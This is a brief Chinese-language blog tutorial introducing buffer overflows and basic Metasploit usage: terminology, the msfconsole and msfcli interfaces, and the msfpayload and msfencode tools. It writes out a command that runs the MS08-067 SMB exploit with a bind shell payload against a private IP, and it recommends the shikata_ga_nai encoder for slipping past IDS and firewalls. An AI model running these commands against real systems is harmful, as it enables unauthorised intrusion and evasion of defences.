欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

关于metasploit缓冲区溢出的一点点介绍

程序员文章站 2024-01-19 12:15:58
估计有的朋友对缓冲区溢出似懂非懂吧? 在这里举个简单的例子哈。 缓冲区溢出好比是正常情况下,把三升的水倒入这个只有一升的杯子的时候,可想而知,多出来的部分就会溢出杯子 洒到桌子上甚至满地都...
估计有的朋友对缓冲区溢出似懂非懂吧? 在这里举个简单的例子哈。

缓冲区溢出好比是正常情况下,把三升的水倒入这个只有一升的杯子的时候,可想而知,多出来的部分就会溢出杯子

洒到桌子上甚至满地都是水,我们的计算机也是一样,当黑客向缓冲区填充数据,而这个数据的长度超过了缓冲区本身的容量后

数据就会溢出储存空间,装不下的数据就会覆盖在合法的数据上,导致程序的出错乃至崩溃,这就是缓冲区溢出的原理,但是

缓冲区仅仅溢出,这只是一个问题,到这里,它并没有破坏性,但如果说能够精确地导入事先准备好的水时,比如1.325升水

那么溢出的也就是0.325升水,黑客用编写好的攻击代码,使操作系统或者应用程序等出现缓冲区溢出,由于是事先已经精确定义

所以也将会导致黑客们想要得到的结果,比如死机,重启,获取rootshell,下载木马等等.. 这个时候你的系统或者程序已经被黑客控制了。

关于metasploit的介绍我就不多说了,下列地址可以详细查看

 

metasploit百度百科:http://baike.baidu.com/view/3066432.htm

 

名称解释:

exploit

测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的

有内存溢出,网站程序漏洞利用,配置错误exploit。

payload

我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一

个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只

能在目标机器上执行有限命令的程序。

shellcode

是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可

执行命令的shell。

module

MSF 的模块,由一系列代码组成。

listener

等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序。

 

下面的说下metasploit的基础吧....

1、MSF 提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、

armitage),(在老版本中还有web 界面模式,后来貌似由于安全因素被取消了?)其中console

模式最常用,启动方式:

cd /opt/framework/msf3/

msfconsole

运行此命令后将进入msf 命令提示符:

msf>

2、获取命令的帮助信息:help

例子:

help connect

3、msfcli 和msfconsole 相比不提供交互方式,它直接从命令行输入所有参数并产生结果,

msfcli –h #获取帮助信息

msfcli <exploit_name> <option=value> [mode]

------------------------------------------------------------------------------

mode:H(help)帮助

S(summary)显示模块信息

O(options)显示模块的可用选项

A(advanced)显示高级选项

I(ids)显示IDS EVASION 选项

P(payload)显示此模块可用的payload

T(targets)显示可用targets

4

AC(action)显示可用actions

C(check)运行模块测试

E(execute)执行选定的模块

--------------------------------------------------------------------------------------

例子:ms08_067_netapi 模块

msfcli windows/smb/ms08_067_netapi O #查看可用选项

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload

msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E

#执行(此处O、P 等参数也可以用小写)

4、Armitage :MSF 的一个图形接口

运行方式:

cd /opt/farmework/msf3/

armitage www.2cto.com

5、MSF 其他组件

MSFpayload 工具:

用于生成shellcode,可生成C,Ruby,JaveScript,VB 格式的shellcode。

帮助信息:

msfpayload –h

MSFencode 工具:

编码压缩shellcode,过IDS ,防火墙。

msfencode -h

msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

 

好了,没什么时间写文章.....